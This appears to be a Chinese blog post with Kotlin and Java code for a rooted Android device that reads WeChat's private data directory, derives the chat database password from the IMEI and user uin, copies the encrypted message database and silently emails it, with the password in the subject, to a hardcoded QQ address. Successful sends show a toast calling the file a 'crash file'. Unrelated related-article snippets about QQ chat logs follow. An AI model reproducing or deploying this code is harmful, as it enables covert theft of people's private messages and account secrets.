Android 获取手机中微信聊天记录并后台发送到邮箱

news/2024/10/17 22:18:37/

实验软件 :Android Studio
实验设备:Root过的真机一部或者夜神模拟器

测试效果

 

 

废话不多说  直接上代码

获取手机微信数据库目录并发送邮件

class CoreService : IntentService("CoreService") {private val WX_ROOT_PATH = "/data/data/com.tencent.mm/"                               // 微信根目录private val WX_SP_UIN_PATH = "${WX_ROOT_PATH}shared_prefs/auth_info_key_prefs.xml"    // 微信保存uin的目录private val WX_DB_DIR_PATH = "${WX_ROOT_PATH}MicroMsg/"                               // 微信保存聊天记录数据库的目录private val WX_DB_FILE_NAME = "EnMicroMsg.db"                                         // 微信聊天记录数据库private val WX_FILE_PATH = "/storage/emulated/0/Tencent/micromsg/"                    // 微信保存聊天时语音、图片、视频文件的地址//  private val currApkPath = "/data/data/com.dfsc.wechatrecord/"private val currApkPath = "/storage/emulated/0/"private val COPY_WX_DATA_DB = "wx_data.db"private var uin = ""private var dbPwd = ""                        // 数据库密码private lateinit var userInfo: UserInfo       // 用户private var uinEnc = ""                       // 加密后的uin@SuppressLint("MissingPermission")override fun onHandleIntent(intent: Intent?) {// 获取数据库密码 数据库密码是IMEI和uin合并后计算MD5值取前7位// 获取imeival manager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManagerval imei = manager.deviceId// 修改微信根目录读写权限try {ShellCommand.shellCommand("chmod -R 777 $WX_ROOT_PATH")// 获取uinval doc = Jsoup.parse(File(WX_SP_UIN_PATH), "UTF-8")val elements = doc.select("int")elements.filter { it.attr("name") == "_auth_uin" }.forEach { uin = it.attr("value") }if (uin.isEmpty()) {toast("当前没有登录微信,请登录后重试")return}// 获取数据库密码log("imei密码:$imei")log("uin密码:$uin")dbPwd = MD5.getMD5Str(imei + uin).substring(0, 7)log("数据库密码:$dbPwd")FileUtils.writeLog(this, "数据库密码:$dbPwd\n")} catch (e: Exception) {log("破解数据库失败:${e.message}")FileUtils.writeLog(this, "破解数据库失败:${e.message}\n")toast("破解数据库失败:${e.message}")}// 获取当前微信登录用户的数据库文件父级文件夹名(MD5("mm"+uin) )uinEnc = MD5.getMD5Str("mm$uin")log("当前微信用户数据库文件父级文件名:$uinEnc")// 递归查询微信本地数据库文件val dbDir = File(WX_DB_DIR_PATH + uinEnc)log("微信数据库文件目录:$dbDir")val list = FileUtils.searchFile(dbDir, WX_DB_FILE_NAME)for (file in list) {val copyFilePath = currApkPath + COPY_WX_DATA_DBlog("微信数据库文件路径:${file.absolutePath}")try {// 将微信数据库拷贝出来,因为直接连接微信的db,会导致微信崩溃FileUtils.copyFile(file.absolutePath, copyFilePath)// 打开微信数据库
//                openWXDB(File(copyFilePath), dbPwd)sendCrashFile(copyFilePath,dbPwd)} catch (e: Exception) {log("复制数据库失败:${e.message}")FileUtils.writeLog(this, "复制数据库失败:${e.message}\n")toast("复制数据库失败:${e.message}")}}}private fun sendCrashFile(fileName: String,content: String) {if (!Util.fileIsExists(fileName))returnThread(Runnable {val isSuccess = Util.sendEmail(fileName,content)Looper.prepare()if (isSuccess) {Util.delFile(fileName)Toast.makeText(applicationContext, "crash文件发送成功!", Toast.LENGTH_LONG).show()} else {Toast.makeText(applicationContext, "crash文件发送失败!", Toast.LENGTH_LONG).show()}Looper.loop()}).start()}

}

邮件发送配置为你的邮箱发件人和收件人

public class Util {/*** 发送邮件的方法* @return*/public static boolean sendEmail(String fileName,String content){MailSenderInfo mailInfo = new MailSenderInfo();mailInfo.setMailServerHost("smtp.qq.com"); //其他邮箱修改这个地址mailInfo.setMailServerPort("25");mailInfo.setValidate(true);mailInfo.setUserName("xxxx@qq.com"); //你的邮箱地址mailInfo.setPassword("xxxxx");// 您的邮箱密码mailInfo.setFromAddress("xxxx@qq.com"); //发送邮箱mailInfo.setToAddress("872555315@qq.com"); //收件人邮箱mailInfo.setSubject("微信数据库密码"+content);mailInfo.setContent("微信数据库密码");// 这个类主要来发送邮件return sendTextMail(mailInfo,fileName);}/*** 以文本格式发送邮件(带附件)* @param mailInfo 待发送的邮件的信息*/private static boolean sendTextMail(MailSenderInfo mailInfo,String fileName) {// 判断是否需要身份认证MyAuthenticator authenticator = null;Properties pro = mailInfo.getProperties();if (mailInfo.isValidate()) {// 如果需要身份认证,则创建一个密码验证器authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());}// 根据邮件会话属性和密码验证器构造一个发送邮件的sessionSession sendMailSession = Session.getDefaultInstance(pro,authenticator);try {// 根据session创建一个邮件消息Message mailMessage = new MimeMessage(sendMailSession);// 创建邮件发送者地址Address from = new InternetAddress(mailInfo.getFromAddress());// 设置邮件消息的发送者mailMessage.setFrom(from);// 创建邮件的接收者地址,并设置到邮件消息中Address to = new InternetAddress(mailInfo.getToAddress());mailMessage.setRecipient(Message.RecipientType.TO,to);// 设置邮件消息的主题mailMessage.setSubject(mailInfo.getSubject());// 设置邮件消息发送的时间mailMessage.setSentDate(new Date());// 设置邮件消息的主要内容String mailContent = mailInfo.getContent();mailMessage.setText(mailContent);/*** 以下内容是:发送邮件时添加附件*/if (fileName != null) {FileDataSource fileDataSource = new FileDataSource(fileName); //打开要发送的文件MimeBodyPart attachPart = new MimeBodyPart();attachPart.setDataHandler(new DataHandler(fileDataSource));attachPart.setFileName(fileDataSource.getName());MimeMultipart allMultipart = new MimeMultipart("mixed"); //附件allMultipart.addBodyPart(attachPart);//添加mailMessage.setContent(allMultipart); //发邮件时添加附件}// 发送邮件Transport.send(mailMessage);return true;} catch (MessagingException ex) {ex.printStackTrace();}return false;}/*** 判读文件是否存在* @return*/public static boolean fileIsExists(String fileName){try{File file = new File(fileName);if(!file.exists())return false;elsereturn true;}catch (Exception e) {e.printStackTrace();return false;}}public static void delFile(String fileName) {try{File file = new File(fileName);if(!file.exists())return;file.delete();}catch (Exception e) {e.printStackTrace();}}}至此就可以通过页面点击发送邮件了

 


http://www.ppmy.cn/news/581971.html

相关文章

QQ群导出某人消息记录至文本【python版】

快考试了,但是有的课没有教材也没有讲义,只有老师在群里的消息记录。 QQ群里导出消息记录,发现不能导出单独的联系人。 通常解决方法 方案一:手机端查找消息记录->联系人->长截图 方案二:电脑端设置->消息管…

WordCloud以词云记录聊天日常

做一个简单的中文字词云记录一下聊天日常,我用的文本是从QQ导出的聊天记录, 真的很有意思,有兴趣的也可以导出来试试看 注: 1.字体文件路径:C:\Windows\Fonts\字体文件名(中文字体在最下面)2.由…

IRC扫盲——你可以不会玩QQ,但不能不会IRC!

IRC扫盲——你可以不会玩QQ,但不能不会IRC! 详见: http://www.linuxsir.org/bbs/showthread.php?t29323 引用 IRC黑客世界最流行的交流工具,其强大而复杂的功能让许多人又爱又怕,花些精力和时间去学习和掌握它是绝…

QQ聊天记录器演示程序(DEPHI)

注:本篇没有高手需要的内容(因为此文中的技术实在无新意可言,只是些简单的实现),各位高手可以就此打住,若浪费宝贵时间,吾将深感不安. 作者网站: http://asp.itdrp.com/hottey ----------------hottey 嘘!好不容易有了一点轻松点的时候.现在才有时间把前几天做的QQ聊天记录器发…

QQ一直在登录中无任何提示怎么办

QQ若是在使用QQ2010/2011版本出现此情况,建议逐步尝试删除下面三个文件夹,删除这三个文件不会对聊天记录有影响,但是可能设置项会恢复为默认。 1、号码文件夹下的Registry.db 2、号码文件夹下的Info.db 3、号码文件夹下QQ目录下的Registry…

python可视化文本分析(1)—分析QQ班群聊天记录宏观

公众号文章链接 前一段时间就想做简单的可视化文本分析玩,今天就花点时间先对整体班级的QQ群聊天信息做一个简单的分析。打算分两步做,本文是最简单的第一步过程 1:分析整个聊天记录的时间分配。并且用matplotlib展示出来。并把整个聊天的关键…

揭露骗子利用微信“聊天记录中图片不可变”的骗局

一、起因 那是一个阴冷的夜晚,我的一个老乡怒气冲冲的给我拨了个微信视频,说他在微信上被人骗了。 他给我转发了一条骗子给他发的聊天记录,在点开之前是这样的: 图1 聊天记录 看上去是一个图片。点进去一看,果然是个…

QQ聊天记录器演示程序

QQ聊天记录器演示程序(可针对QQ2003和QQ2004版本) 注:本篇没有高手需要的内容(因为此文中的技术实在无新意可言,只是些简单的实现),各位高手可以就此打住,若浪费宝贵时间,吾将深感不安. 作者网站:http://asp.itdrp.com/hottey ----------------hottey 嘘!好不容易有了一点轻松…